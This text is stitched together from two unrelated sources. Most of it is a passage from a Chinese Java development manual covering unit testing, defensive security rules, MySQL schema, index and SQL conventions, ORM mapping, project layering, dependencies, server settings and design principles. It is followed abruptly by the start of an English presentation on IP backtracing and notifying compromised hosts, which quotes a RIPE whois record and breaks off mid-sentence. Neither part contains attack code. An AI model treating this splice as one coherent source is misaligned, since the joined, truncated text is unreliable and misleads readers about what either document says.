70%；核心模块的语句覆盖率和分支覆盖率都要达到 100% 说明：在工程规约的应用分层中提到的 DAO 层，Manager 层，可重用度高的 Service，都应该进行单元测试。 Java 开发手册 29/44 9. 【推荐】编写单元测试代码遵守 BCDE 原则，以保证被测试模块的交付质量。 ⚫ B：Border，边界值测试，包括循环边界、特殊取值、特殊时间点、数据顺序等。 ⚫ C：Correct，正确的输入，并得到预期的结果。 ⚫ D：Design，与设计文档相结合，来编写单元测试。 ⚫ E：Error，强制错误信息输入（如：非法数据、异常流程、业务允许外等），并得到预期的结果。 10. 【推荐】对于数据库相关的查询，更新，删除等操作，不能假设数据库里的数据是存在的，或者直接操作数据库把数据插入进去，请使用程序插入或者导入数据的方式来准备数据。反例：删除某一行数据的单元测试，在数据库中，先直接手动增加一行作为删除目标，但是这一行新增数据并不符合业务插入规则，导致测试结果异常。 11. 【推荐】和数据库相关的单元测试，可以设定自动回滚机制，不给数据库造成脏数据。或者对单元测试产生的数据有明确的前后缀标识。正例：在企业智能事业部的内部单元测试中，使用 ENTERPRISE_INTELLIGENCE _UNIT_TEST_的前缀来标识单元测试相关代码。 12. 【推荐】对于不可测的代码在适当的时机做必要的重构，使代码变得可测，避免为了达到测试要求而书写不规范测试代码。 13. 【推荐】在设计评审阶段，开发人员需要和测试人员一起确定单元测试范围，单元测试最好覆盖所有测试用例。 14. 【推荐】单元测试作为一种质量保障手段，在项目提测前完成单元测试，不建议项目发布后补充单元测试用例。 15. 【参考】为了更方便地进行单元测试，业务代码应避免以下情况： ⚫ 构造方法中做的事情过多。 ⚫ 存在过多的全局变量和静态方法。 ⚫ 存在过多的外部依赖。 ⚫ 存在过多的条件语句。说明：多层条件语句建议使用卫语句、策略模式、状态模式等方式重构。 16. 【参考】不要对单元测试存在如下误解： ⚫ 那是测试同学干的事情。本文是开发手册，凡是本文内容都是与开发同学强相关的。 ⚫ 单元测试代码是多余的。系统的整体功能与各单元部件的测试正常与否是强相关的。 ⚫ 单元测试代码不需要维护。一年半载后，那么单元测试几乎处于废弃状态。 ⚫ 单元测试与线上故障没有辩证关系。好的单元测试能够最大限度地规避线上故障。 Java 开发手册 30/44 四、安全规约 1. 【强制】隶属于用户个人的页面或者功能必须进行权限控制校验。说明：防止没有做水平权限校验就可随意访问、修改、删除别人的数据，比如查看他人的私信内容、修改他人的订单。 2. 【强制】用户敏感数据禁止直接展示，必须对展示数据进行脱敏。说明：中国大陆个人手机号码显示为:137**0969，隐藏中间 4 位，防止隐私泄露。 3. 【强制】用户输入的 SQL 参数严格使用参数绑定或者 METADATA 字段值限定，防止 SQL 注入，禁止字符串拼接 SQL 访问数据库。 4. 【强制】用户请求传入的任何参数必须做有效性验证。说明：忽略参数校验可能导致： ⚫ page size 过大导致内存溢出 ⚫ 恶意 order by 导致数据库慢查询 ⚫ 任意重定向 ⚫ SQL 注入 ⚫ 反序列化注入 ⚫ 正则输入源串拒绝服务 ReDoS 说明：Java 代码用正则来验证客户端的输入，有些正则写法验证普通用户输入没有问题，但是如果攻击人员使用的是特殊构造的字符串来验证，有可能导致死循环的结果。 5. 【强制】禁止向 HTML 页面输出未经安全过滤或未正确转义的用户数据。 6. 【强制】表单、AJAX 提交必须执行 CSRF 安全验证。说明：CSRF(Cross-site request forgery)跨站请求伪造是一类常见编程漏洞。对于存在 CSRF 漏洞的应用 /网站，攻击者可以事先构造好 URL，只要受害者用户一访问，后台便在用户不知情的情况下对数据库中用户参数进行相应修改。 7. 【强制】在使用平台资源，譬如短信、邮件、电话、下单、支付，必须实现正确的防重放的机制，如数量限制、疲劳度控制、验证码校验，避免被滥刷而导致资损。说明：如注册时发送验证码到手机，如果没有限制次数和频率，那么可以利用此功能骚扰到其它用户，并造成短信平台资源浪费。 8. 【推荐】发贴、评论、发送即时消息等用户生成内容的场景必须实现防刷、文本内容违禁词过滤等风控策略。 Java 开发手册 31/44 五、MySQL 数据库 (一) 建表规约 1. 【强制】表达是与否概念的字段，必须使用 is_xxx 的方式命名，数据类型是 unsigned tinyint（1 表示是，0 表示否）。说明：任何字段如果为非负数，必须是 unsigned。注意：POJO 类中的任何布尔类型的变量，都不要加 is 前缀，所以，需要在<resultMap>设置从 is_xxx 到 Xxx 的映射关系。数据库表示是与否的值，使用 tinyint 类型，坚持 is_xxx 的命名方式是为了明确其取值含义与取值范围。正例：表达逻辑删除的字段名 is_deleted，1 表示删除，0 表示未删除。 2. 【强制】表名、字段名必须使用小写字母或数字，禁止出现数字开头，禁止两个下划线中间只出现数字。数据库字段名的修改代价很大，因为无法进行预发布，所以字段名称需要慎重考虑。说明：MySQL 在 Windows 下不区分大小写，但在 Linux 下默认是区分大小写。因此，数据库名、表名、字段名，都不允许出现任何大写字母，避免节外生枝。正例：aliyun_admin，rdc_config，level3_name 反例：AliyunAdmin，rdcConfig，level_3_name 3. 【强制】表名不使用复数名词。说明：表名应该仅仅表示表里面的实体内容，不应该表示实体数量，对应于 DO 类名也是单数形式，符合表达习惯。 4. 【强制】禁用保留字，如 desc、range、match、delayed 等，请参考 MySQL 官方保留字。 5. 【强制】主键索引名为 pk_字段名；唯一索引名为 uk_字段名；普通索引名则为 idx_字段名。说明：pk_ 即 primary key；uk_ 即 unique key；idx_ 即 index 的简称。 6. 【强制】小数类型为 decimal，禁止使用 float 和 double。说明：在存储的时候，float 和 double 都存在精度损失的问题，很可能在比较值的时候，得到不正确的结果。如果存储的数据范围超过 decimal 的范围，建议将数据拆成整数和小数并分开存储。 7. 【强制】如果存储的字符串长度几乎相等，使用 char 定长字符串类型。 8. 【强制】varchar 是可变长字符串，不预先分配存储空间，长度不要超过 5000，如果存储长度大于此值，定义字段类型为 text，独立出来一张表，用主键来对应，避免影响其它字段索引效率。 9. 【强制】表必备三字段：id, create_time, update_time。说明：其中 id 必为主键，类型为 bigint unsigned、单表时自增、步长为 1。create_time, update_time 的类型均为 datetime 类型。 Java 开发手册 32/44 10. 【推荐】表的命名最好是遵循“业务名称_表的作用”。正例：alipay_task / force_project / trade_config 11. 【推荐】库名与应用名称尽量一致。 12. 【推荐】如果修改字段含义或对字段表示的状态追加时，需要及时更新字段注释。 13. 【推荐】字段允许适当冗余，以提高查询性能，但必须考虑数据一致。冗余字段应遵循： 1）不是频繁修改的字段。 2）不是 varchar 超长字段，更不能是 text 字段。 3）不是唯一索引的字段。正例：商品类目名称使用频率高，字段长度短，名称基本一不变，可在相关联的表中冗余存储类目名称，避免关联查询。 14. 【推荐】单表行数超过 500 万行或者单表容量超过 2GB，才推荐进行分库分表。说明：如果预计三年后的数据量根本达不到这个级别，请不要在创建表时就分库分表。 15. 【参考】合适的字符存储长度，不但节约数据库表空间、节约索引存储，更重要的是提升检索速度。正例：如下表，其中无符号值可以避免误存负数，且扩大了表示范围。对象年龄区间类型字节表示范围人 150 岁之内 tinyint unsigned 1 无符号值：0 到 255 龟数百岁 smallint unsigned 2 无符号值：0 到 65535 恐龙化石数千万年 int unsigned 4 无符号值：0 到约 42.9 亿太阳约 50 亿年 bigint unsigned 8 无符号值：0 到约 10 的 19 次方 (二) 索引规约 1. 【强制】业务上具有唯一特性的字段，即使是多个字段的组合，也必须建成唯一索引。说明：不要以为唯一索引影响了 insert 速度，这个速度损耗可以忽略，但提高查找速度是明显的；另外，即使在应用层做了非常完善的校验控制，只要没有唯一索引，根据墨菲定律，必然有脏数据产生。 2. 【强制】超过三个表禁止 join。需要 join 的字段，数据类型必须绝对一致；多表关联查询时，保证被关联的字段需要有索引。说明：即使双表 join 也要注意表索引、SQL 性能。 3. 【强制】在 varchar 字段上建立索引时，必须指定索引长度，没必要对全字段建立索引，根据实际文本区分度决定索引长度即可。 Java 开发手册 33/44 说明：索引的长度与区分度是一对矛盾体，一般对字符串类型数据，长度为 20 的索引，区分度会高达 90%以上，可以使用 count(distinct left(列名, 索引长度))/count()的区分度来确定。 4. 【强制】页面搜索严禁左模糊或者全模糊，如果需要请走搜索引擎来解决。说明：索引文件具有 B-Tree 的最左前缀匹配特性，如果左边的值未确定，那么无法使用此索引。 5. 【推荐】如果有 order by 的场景，请注意利用索引的有序性。order by 最后的字段是组合索引的一部分，并且放在索引组合顺序的最后，避免出现 file_sort 的情况，影响查询性能。正例：where a=? and b=? order by c; 索引：a_b_c 反例：索引如果存在范围查询，那么索引有序性无法利用，如：WHERE a>10 ORDER BY b; 索引 a_b 无法排序。 6. 【推荐】利用覆盖索引来进行查询操作，避免回表。说明：如果一本书需要知道第 11 章是什么标题，会翻开第 11 章对应的那一页吗？目录浏览一下就好，这个目录就是起到覆盖索引的作用。正例：能够建立索引的种类分为主键索引、唯一索引、普通索引三种，而覆盖索引只是一种查询的一种效果，用 explain 的结果，extra 列会出现：using index。 7. 【推荐】利用延迟关联或者子查询优化超多分页场景。说明：MySQL 并不是跳过 offset 行，而是取 offset+N 行，然后返回放弃前 offset 行，返回 N 行，那当 offset 特别大的时候，效率就非常的低下，要么控制返回的总页数，要么对超过特定阈值的页数进行 SQL 改写。正例：先快速定位需要获取的 id 段，然后再关联： SELECT a.* FROM 表 1 a, (select id from 表 1 where 条件 LIMIT 100000,20 ) b where a.id=b.id 8. 【推荐】SQL 性能优化的目标：至少要达到 range 级别，要求是 ref 级别，如果可以是 consts 最好。说明： 1） consts 单表中最多只有一个匹配行（主键或者唯一索引），在优化阶段即可读取到数据。 2） ref 指的是使用普通的索引（normal index）。 3） range 对索引进行范围检索。反例：explain 表的结果，type=index，索引物理文件全扫描，速度非常慢，这个 index 级别比较 range 还低，与全表扫描是小巫见大巫。 9. 【推荐】建组合索引的时候，区分度最高的在最左边。正例：如果 where a=? and b=? ，如果 a 列的几乎接近于唯一值，那么只需要单建 idx_a 索引即可。说明：存在非等号和等号混合时，在建索引时，请把等号条件的列前置。如：where c>? and d=? 那么即使 c 的区分度更高，也必须把 d 放在索引的最前列，即索引 idx_d_c。 10. 【推荐】防止因字段类型不同造成的隐式转换，导致索引失效。 Java 开发手册 34/44 11. 【参考】创建索引时避免有如下极端误解： 1）宁滥勿缺。认为一个查询就需要建一个索引。 2）宁缺勿滥。认为索引会消耗空间、严重拖慢记录的更新以及行的新增速度。 3）抵制惟一索引。认为业务的惟一性一律需要在应用层通过“先查后插”方式解决。 (三) SQL 语句 1. 【强制】不要使用 count(列名)或 count(常量)来替代 count()，count()是 SQL92 定义的标准统计行数的语法，跟数据库无关，跟 NULL 和非 NULL 无关。说明：count()会统计值为 NULL 的行，而 count(列名)不会统计此列为 NULL 值的行。 2. 【强制】count(distinct col) 计算该列除 NULL 之外的不重复行数，注意 count(distinct col1, col2) 如果其中一列全为 NULL，那么即使另一列有不同的值，也返回为 0。 3. 【强制】当某一列的值全是 NULL 时，count(col)的返回结果为 0，但 sum(col)的返回结果为 NULL，因此使用 sum()时需注意 NPE 问题。正例：使用如下方式来避免 sum 的 NPE 问题：SELECT IFNULL(SUM(column), 0) FROM table; 4. 【强制】使用 ISNULL()来判断是否为 NULL 值。说明：NULL 与任何值的直接比较都为 NULL。 1） NULL<>NULL 的返回结果是 NULL，而不是 false。 2） NULL=NULL 的返回结果是 NULL，而不是 true。 3） NULL<>1 的返回结果是 NULL，而不是 true。 5. 【强制】代码中写分页查询逻辑时，若 count 为 0 应直接返回，避免执行后面的分页语句。 6. 【强制】不得使用外键与级联，一切外键概念必须在应用层解决。说明：以学生和成绩的关系为例，学生表中的 student_id 是主键，那么成绩表中的 student_id 则为外键。如果更新学生表中的 student_id，同时触发成绩表中的 student_id 更新，即为级联更新。外键与级联更新适用于单机低并发，不适合分布式、高并发集群；级联更新是强阻塞，存在数据库更新风暴的风险；外键影响数据库的插入速度。 7. 【强制】禁止使用存储过程，存储过程难以调试和扩展，更没有移植性。 8. 【强制】数据订正（特别是删除、修改记录操作）时，要先 select，避免出现误删除，确认无误才能执行更新语句。 9. 【推荐】in 操作能避免则避免，若实在避免不了，需要仔细评估 in 后边的集合元素数量，控制在 1000 个之内。 10. 【参考】如果有国际化需要，所有的字符存储与表示，均以 utf-8 编码，注意字符统计函数的区别。 Java 开发手册 35/44 说明： SELECT LENGTH("轻松工作")；返回为 12 SELECT CHARACTER_LENGTH("轻松工作")；返回为 4 如果需要存储表情，那么选择 utf8mb4 来进行存储，注意它与 utf-8 编码的区别。 11. 【参考】TRUNCATE TABLE 比 DELETE 速度快，且使用的系统和事务日志资源少，但 TRUNCATE 无事务且不触发 trigger，有可能造成事故，故不建议在开发代码中使用此语句。说明：TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同。 (四) ORM 映射 1. 【强制】在表查询中，一律不要使用作为查询的字段列表，需要哪些字段必须明确写明。说明：1）增加查询分析器解析成本。2）增减字段容易与 resultMap 配置不一致。3）无用字段增加网络消耗，尤其是 text 类型的字段。 2. 【强制】POJO 类的布尔属性不能加 is，而数据库字段必须加 is_，要求在 resultMap 中进行字段与属性之间的映射。说明：参见定义 POJO 类以及数据库字段定义规定，在<resultMap>中增加映射，是必须的。在 MyBatis Generator 生成的代码中，需要进行对应的修改。 3. 【强制】不要用 resultClass 当返回参数，即使所有类属性名与数据库字段一一对应，也需要定义；反过来，每一个表也必然有一个 POJO 类与之对应。说明：配置映射关系，使字段与 DO 类解耦，方便维护。 4. 【强制】sql.xml 配置参数使用：#{}，#param# 不要使用${} 此种方式容易出现 SQL 注入。 5. 【强制】iBATIS 自带的 queryForList(String statementName,int start,int size)不推荐使用。说明：其实现方式是在数据库取到 statementName 对应的 SQL 语句的所有记录，再通过 subList 取 start,size 的子集合。正例：Map<String, Object> map = new HashMap<>(); map.put("start", start); map.put("size", size); 6. 【强制】不允许直接拿 HashMap 与 Hashtable 作为查询结果集的输出。说明：resultClass=”Hashtable”，会置入字段名和属性值，但是值的类型不可控。 7. 【强制】更新数据表记录时，必须同时更新记录对应的 gmt_modified 字段值为当前时间。 8. 【推荐】不要写一个大而全的数据更新接口。传入为 POJO 类，不管是不是自己的目标更新字段，都进行 update table set c1=value1,c2=value2,c3=value3; 这是不对的。执行 SQL 时，不要更新无改动的字段，一是易出错；二是效率低；三是增加 binlog 存储。 Java 开发手册 36/44 9. 【参考】@Transactional 事务不要滥用。事务会影响数据库的 QPS，另外使用事务的地方需要考虑各方面的回滚方案，包括缓存回滚、搜索引擎回滚、消息补偿、统计修正等。 10. 【参考】<isEqual>中的 compareValue 是与属性值对比的常量，一般是数字，表示相等时带上此条件；<isNotEmpty>表示不为空且不为 null 时执行；<isNotNull>表示不为 null 值时执行。 Java 开发手册 37/44 六、工程结构 (一) 应用分层 1. 【推荐】图中默认上层依赖于下层，箭头关系表示可直接依赖，如：开放接口层可以依赖于 Web 层，也可以直接依赖于 Service 层，依此类推： • 开放接口层：可直接封装 Service 方法暴露成 RPC 接口；通过 Web 封装成 http 接口；进行网关安全控制、流量控制等。 • 终端显示层：各个端的模板渲染并执行显示的层。当前主要是 velocity 渲染，JS 渲染，JSP 渲染，移动端展示等。 • Web 层：主要是对访问控制进行转发，各类基本参数校验，或者不复用的业务简单处理等。 • Service 层：相对具体的业务逻辑服务层。 • Manager 层：通用业务处理层，它有如下特征： 1）对第三方平台封装的层，预处理返回结果及转化异常信息。 2）对 Service 层通用能力的下沉，如缓存方案、中间件通用处理。 3）与 DAO 层交互，对多个 DAO 的组合复用。 • DAO 层：数据访问层，与底层 MySQL、Oracle、Hbase 等进行数据交互。 • 外部接口或第三方平台：包括其它部门 RPC 开放接口，基础平台，其它公司的 HTTP 接口。 2. 【参考】（分层异常处理规约）在 DAO 层，产生的异常类型有很多，无法用细粒度的异常进行 catch，使用 catch(Exception e)方式，并 throw new DAOException(e)，不需要打印日志，因为日志在 Manager/Service 层一定需要捕获并打印到日志文件中去，如果同台服务器再打日志，浪费性能和存储。在 Service 层出现异常时，必须记录出错日志到磁盘，尽可能带上参数信息，相当于保护案发现场。如果 Manager 层与 Service 同机部署，日志方式与 DAO 层处理一致，如果是单独部署，则采用与 Service 一致的处理方式。Web 层绝不应该继续往上抛异常，因为已经处于顶层，如果意识到这个异常将导致页面无法正常渲染，那么就应该直接跳 Java 开发手册 38/44 转到友好错误页面，加上用户容易理解的错误提示信息。开放接口层要将异常处理成错误码和错误信息方式返回。 3. 【参考】分层领域模型规约： • DO（Data Object）：此对象与数据库表结构一一对应，通过 DAO 层向上传输数据源对象。 • DTO（Data Transfer Object）：数据传输对象，Service 或 Manager 向外传输的对象。 • BO（Business Object）：业务对象，由 Service 层输出的封装业务逻辑的对象。 • AO（Application Object）：应用对象，在 Web 层与 Service 层之间抽象的复用对象模型，极为贴近展示层，复用度不高。 • VO（View Object）：显示层对象，通常是 Web 向模板渲染引擎层传输的对象。 • Query：数据查询对象，各层接收上层的查询请求。注意超过 2 个参数的查询封装，禁止使用 Map 类来传输。 (二) 二方库依赖 1. 【强制】定义 GAV 遵从以下规则： 1） GroupID 格式：com.{公司/BU }.业务线 [.子业务线]，最多 4 级。说明：{公司/BU} 例如：alibaba/taobao/tmall/aliexpress 等 BU 一级；子业务线可选。正例：com.taobao.jstorm 或 com.alibaba.dubbo.register 2） ArtifactID 格式：产品线名-模块名。语义不重复不遗漏，先到中央仓库去查证一下。正例：dubbo-client / fastjson-api / jstorm-tool 3） Version：详细规定参考下方。 2. 【强制】二方库版本号命名方式：主版本号.次版本号.修订号 1）主版本号：产品方向改变，或者大规模 API 不兼容，或者架构不兼容升级。 2）次版本号：保持相对兼容性，增加主要功能特性，影响范围极小的 API 不兼容修改。 3）修订号：保持完全兼容性，修复 BUG、新增次要功能特性等。说明：注意起始版本号必须为：1.0.0，而不是 0.0.1，正式发布的类库必须先去中央仓库进行查证，使版本号有延续性，正式版本号不允许覆盖升级。如当前版本：1.3.3，那么下一个合理的版本号：1.3.4 或 1.4.0 或 2.0.0 3. 【强制】线上应用不要依赖 SNAPSHOT 版本（安全包除外）。说明：不依赖 SNAPSHOT 版本是保证应用发布的幂等性。另外，也可以加快编译时的打包构建。 4. 【强制】二方库的新增或升级，保持除功能点之外的其它 jar 包仲裁结果不变。如果有改变，必须明确评估和验证。 Java 开发手册 39/44 说明：在升级时，进行 dependency:resolve 前后信息比对，如果仲裁结果完全不一致，那么通过 dependency:tree 命令，找出差异点，进行<exclude>排除 jar 包。 5. 【强制】二方库里可以定义枚举类型，参数可以使用枚举类型，但是接口返回值不允许使用枚举类型或者包含枚举类型的 POJO 对象。 6. 【强制】依赖于一个二方库群时，必须定义一个统一的版本变量，避免版本号不一致。说明：依赖 springframework-core,-context,-beans，它们都是同一个版本，可以定义一个变量来保存版本：${spring.version}，定义依赖的时候，引用该版本。 7. 【强制】禁止在子项目的 pom 依赖中出现相同的 GroupId，相同的 ArtifactId，但是不同的 Version。说明：在本地调试时会使用各子项目指定的版本号，但是合并成一个 war，只能有一个版本号出现在最后的 lib 目录中。可能出现线下调试是正确的，发布到线上却出故障的问题。 8. 【推荐】底层基础技术框架、核心数据管理平台、或近硬件端系统谨慎引入第三方实现。 9. 【推荐】所有 pom 文件中的依赖声明放在<dependencies>语句块中，所有版本仲裁放在 <dependencyManagement>语句块中。说明：<dependencyManagement>里只是声明版本，并不实现引入，因此子项目需要显式的声明依赖，version 和 scope 都读取自父 pom。而<dependencies>所有声明在主 pom 的<dependencies>里的依赖都会自动引入，并默认被所有的子项目继承。 10. 【推荐】二方库不要有配置项，最低限度不要再增加配置项。 11. 【参考】为避免应用二方库的依赖冲突问题，二方库发布者应当遵循以下原则： 1）精简可控原则。移除一切不必要的 API 和依赖，只包含 Service API、必要的领域模型对象、Utils 类、常量、枚举等。如果依赖其它二方库，尽量是 provided 引入，让二方库使用者去依赖具体版本号；无 log 具体实现，只依赖日志框架。 2）稳定可追溯原则。每个版本的变化应该被记录，二方库由谁维护，源码在哪里，都需要能方便查到。除非用户主动升级版本，否则公共二方库的行为不应该发生变化。 (三) 服务器 1. 【推荐】高并发服务器建议调小 TCP 协议的 time_wait 超时时间。说明：操作系统默认 240 秒后，才会关闭处于 time_wait 状态的连接，在高并发访问下，服务器端会因为处于 time_wait 的连接数太多，可能无法建立新的连接，所以需要在服务器上调小此等待值。正例：在 linux 服务器上请通过变更/etc/sysctl.conf 文件去修改该缺省值（秒）： net.ipv4.tcp_fin_timeout = 30 Java 开发手册 40/44 2. 【推荐】调大服务器所支持的最大文件句柄数（File Descriptor，简写为 fd）。说明：主流操作系统的设计是将 TCP/UDP 连接采用与文件一样的方式去管理，即一个连接对应于一个 fd。主流的 linux 服务器默认所支持最大 fd 数量为 1024，当并发连接数很大时很容易因为 fd 不足而出现 “open too many files”错误，导致新的连接无法建立。建议将 linux 服务器所支持的最大句柄数调高数倍（与服务器的内存数量相关）。 3. 【推荐】给 JVM 环境参数设置-XX:+HeapDumpOnOutOfMemoryError 参数，让 JVM 碰到 OOM 场景时输出 dump 信息。说明：OOM 的发生是有概率的，甚至相隔数月才出现一例，出错时的堆内信息对解决问题非常有帮助。 4. 【推荐】在线上生产环境，JVM 的 Xms 和 Xmx 设置一样大小的内存容量，避免在 GC 后调整堆大小带来的压力。 5. 【参考】服务器内部重定向使用 forward；外部重定向地址使用 URL 拼装工具类来生成，否则会带来 URL 维护不一致的问题和潜在的安全风险。 Java 开发手册 41/44 七、设计规约 1. 【强制】存储方案和底层数据结构的设计获得评审一致通过，并沉淀成为文档。说明：有缺陷的底层数据结构容易导致系统风险上升，可扩展性下降，重构成本也会因历史数据迁移和系统平滑过渡而陡然增加，所以，存储方案和数据结构需要认真地进行设计和评审，生产环境提交执行后，需要进行 double check。正例：评审内容包括存储介质选型、表结构设计能否满足技术方案、存取性能和存储空间能否满足业务发展、表或字段之间的辩证关系、字段名称、字段类型、索引等；数据结构变更（如在原有表中新增字段）也需要进行评审通过后上线。 2. 【强制】在需求分析阶段，如果与系统交互的 User 超过一类并且相关的 User Case 超过 5 个，使用用例图来表达更加清晰的结构化需求。 3. 【强制】如果某个业务对象的状态超过 3 个，使用状态图来表达并且明确状态变化的各个触发条件。说明：状态图的核心是对象状态，首先明确对象有多少种状态，然后明确两两状态之间是否存在直接转换关系，再明确触发状态转换的条件是什么。正例：淘宝订单状态有已下单、待付款、已付款、待发货、已发货、已收货等。比如已下单与已收货这两种状态之间是不可能有直接转换关系的。 4. 【强制】如果系统中某个功能的调用链路上的涉及对象超过 3 个，使用时序图来表达并且明确各调用环节的输入与输出。说明：时序图反映了一系列对象间的交互与协作关系，清晰立体地反映系统的调用纵深链路。 5. 【强制】如果系统中模型类超过 5 个，并且存在复杂的依赖关系，使用类图来表达并且明确类之间的关系。说明：类图像建筑领域的施工图，如果搭平房，可能不需要，但如果建造蚂蚁 Z 空间大楼，肯定需要详细的施工图。 6. 【强制】如果系统中超过 2 个对象之间存在协作关系，并且需要表示复杂的处理流程，使用活动图来表示。说明：活动图是流程图的扩展，增加了能够体现协作关系的对象泳道，支持表示并发等。 7. 【推荐】需求分析与系统设计在考虑主干功能的同时，需要充分评估异常流程与业务边界。反例：用户在淘宝付款过程中，银行扣款成功，发送给用户扣款成功短信，但是支付宝入款时由于断网演练产生异常，淘宝订单页面依然显示未付款，导致用户投诉。 8. 【推荐】类在设计与实现时要符合单一原则。说明：单一原则最易理解却是最难实现的一条规则，随着系统演进，很多时候，忘记了类设计的初衷。 Java 开发手册 42/44 9. 【推荐】谨慎使用继承的方式来进行扩展，优先使用聚合/组合的方式来实现。说明：不得已使用继承的话，必须符合里氏代换原则，此原则说父类能够出现的地方子类一定能够出现，比如，“把钱交出来”，钱的子类美元、欧元、人民币等都可以出现。 10. 【推荐】系统设计时，根据依赖倒置原则，尽量依赖抽象类与接口，有利于扩展与维护。说明：低层次模块依赖于高层次模块的抽象，方便系统间的解耦。 11. 【推荐】系统设计时，注意对扩展开放，对修改闭合。说明：极端情况下，交付线上生产环境的代码都是不可修改的，同一业务域内的需求变化，通过模块或类的扩展来实现。 12. 【推荐】系统设计阶段，共性业务或公共行为抽取出来公共模块、公共配置、公共类、公共方法等，避免出现重复代码或重复配置的情况。说明：随着代码的重复次数不断增加，维护成本指数级上升。 13. 【推荐】避免如下误解：敏捷开发 = 讲故事 + 编码 + 发布。说明：敏捷开发是快速交付迭代可用的系统，省略多余的设计方案，摒弃传统的审批流程，但核心关键点上的必要设计和文档沉淀是需要的。反例：某团队为了业务快速发展，敏捷成了产品经理催进度的借口，系统中均是勉强能运行但像面条一样的代码，可维护性和可扩展性极差，一年之后，不得不进行大规模重构，得不偿失。 14. 【参考】系统设计主要目的是明确需求、理顺逻辑、后期维护，次要目的用于指导编码。说明：避免为了设计而设计，系统设计文档有助于后期的系统维护和重构，所以设计结果需要进行分类归档保存。 15. 【参考】设计的本质就是识别和表达系统难点，找到系统的变化点，并隔离变化点。说明：世间众多设计模式目的是相同的，即隔离系统变化点。 16. 【参考】系统架构设计的目的： ⚫ 确定系统边界。确定系统在技术层面上的做与不做。 ⚫ 确定系统内模块之间的关系。确定模块之间的依赖关系及模块的宏观输入与输出。 ⚫ 确定指导后续设计与演化的原则。使后续的子系统或模块设计在规定的框架内继续演化。 ⚫ 确定非功能性需求。非功能性需求是指安全性、可用性、可扩展性等。 17. 【参考】在做无障碍产品设计时，需要考虑到： ⚫ 所有可交互的控件元素必须能被 tab 键聚焦，并且焦点顺序需符合自然操作逻辑。 ⚫ 用于登陆校验和请求拦截的验证码均需提供图形验证以外的其它方式。 ⚫ 自定义的控件类型需明确交互方式。 Java 开发手册 43/44 附 1：版本历史版本号版本名更新日期备注 -- -- 2016.12.07 试读版本首次对外发布 1.0.0 正式版 2017.02.09 阿里巴巴集团正式对外发布 1.0.1 -- 2017.02.13 1）修正 String[]的前后矛盾。 2）vm 修正成 velocity。 3）修正 countdown 描述错误。 1.0.2 -- 2017.02.20 1）去除文底水印。2）数据类型中引用太阳系年龄问题。3）修正关于异常和方法签名的部分描述。4）修正 final 描述。5）去除 Comparator 部分描述。 1.1.0 -- 2017.02.27 1）增加前言。2）增加<? extends T>描述和说明。3）增加版本历史。4）增加专有名词解释。 1.1.1 -- 2017.03.31 修正页码总数和部分示例。 1.2.0 完美版 2017.05.20 1）根据云栖社区的“聚能聊”活动反馈，对手册的页码、排版、描述进行修正。2）增加 final 的适用场景描述。3）增加关于锁的粒度的说明。4）增加“指定集合大小”的详细说明以及正反例。5）增加卫语句的示例代码。6）明确数据库表示删除概念的字段名为 is_deleted 1.3.0 终极版 2017.09.25 增加单元测试规约，阿里开源的 IDE 代码规约检测插件：点此下载 1.3.1 纪念版 2017.11.30 修正部分描述；采用和 P3C 开源 IDE 检测插件相同的 Apache2.0 协议。 1.4.0 详尽版 2018.05.20 增加设计规约大类，共 16 条。 1.5.0 华山版 2019.06.19 1）鉴于本手册是社区开发者集体智慧的结晶，本版本移除阿里巴巴 Java 开发手册的限定词“阿里巴巴”。 2）新增 21 条新规约。比如，switch 的 NPE 问题、浮点数的比较、无泛型限制、锁的使用方式、判断表达式、日期格式等。 3）修改描述 112 处。比如，IFNULL 的判断、集合的 toArray、日志处理等。 4）完善若干处示例。比如，命名示例、卫语句示例、enum 示例、finally 的 return 示例等。 Java 开发手册 44/44 附 2：专有名词解释 1. POJO（Plain Ordinary Java Object）: 在本手册中，POJO 专指只有 setter / getter / toString 的简单类，包括 DO/DTO/BO/VO 等。 2. GAV（GroupId、ArtifactctId、Version）: Maven 坐标，是用来唯一标识 jar 包。 3. OOP（Object Oriented Programming）: 本手册泛指类、对象的编程处理方式。 4. ORM（Object Relation Mapping）: 对象关系映射，对象领域模型与底层数据之间的转换，本文泛指 iBATIS, mybatis 等框架。 5. NPE（java.lang.NullPointerException）: 空指针异常。 6. SOA（Service-Oriented Architecture）: 面向服务架构，它可以根据需求通过网络对松散耦合的粗粒度应用组件进行分布式部署、组合和使用，有利于提升组件可重用性，可维护性。 7. IDE（Integrated Development Environment）: 用于提供程序开发环境的应用程序，一般包括代码编辑器、编译器、调试器和图形用户界面等工具，本《手册》泛指 IntelliJ IDEA 和 eclipse。 8. OOM（Out Of Memory）: 源于 java.lang.OutOfMemoryError，当 JVM 没有足够的内存来为对象分配空间并且垃圾回收器也无法回收空间时，系统出现的严重状况。 9. 一方库：本工程内部子项目模块依赖的库（jar 包）。 10. 二方库：公司内部发布到中央仓库，可供公司内部其它应用依赖的库（jar 包）。 11. 三方库：公司之外的开源库（jar 包）。 Java 开发手册 45/44	pdf
By Lawrence Baldwin & Jaeson Schultz “Extreme IP Backtracing” I've been attacked… now what? The reality is that few attacks are launched directly from an attacker's system since they know they would be easily caught using standard backtracing methods. The Internet is chock full of insecure systems which are easily (read already) compromised, providing a means for attackers to perform untraceable, indirect attacks. • Reduce the total number of compromised hosts • Minimize the amount of time that any system remains in a compromised state The only profound way to improve overall Internet security is to: In order to protect ourselves, we need to ensure that others are protected. Every time your firewall or intrusion detection system logs an event, don't assume the source is the actual attacker. Think of it as a cry for help from a likely victim whose system has been compromised and is just being controlled by an attacker. When we discover that someone is obviously exposed, we should let them know and guide them to the information they need to get protected. CNN.com article “Avoiding future denial-of-service attacks” about the Feb 2000 DDOS attacks on Yahoo, eBay, Amazon.com and ETrade “Authorities pursuing the attackers say the servers they used belonged to users that had no idea their resources were being used to launch attacks.” Why notify victims? Recently, myNetWatchman detected an incident in which a host was infected with the Microsoft SQL Spida Worm. A backtrace of the offending IP yielded some interesting results… % This is the RIPE Whois server. % The objects are in RPSL format. % Please visit http://www.ripe.net/rpsl for more information. % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub- services/db/copyright.html inetnum: 194.190.139.0 - 194.190.139.255 netname: GAN descr: Central Region of GAN RF country: RU admin-c: AV753-RIPE tech-c: AV753-RIPE status: ASSIGNED PA notify: [email protected] notify: [email protected] mnt-by: ROSNIIROS-MNT changed: [email protected] 19991018 source: RIPE GAN=The Nuclear Safety Authority of Russia "Federal supervision of Russia on nuclear and 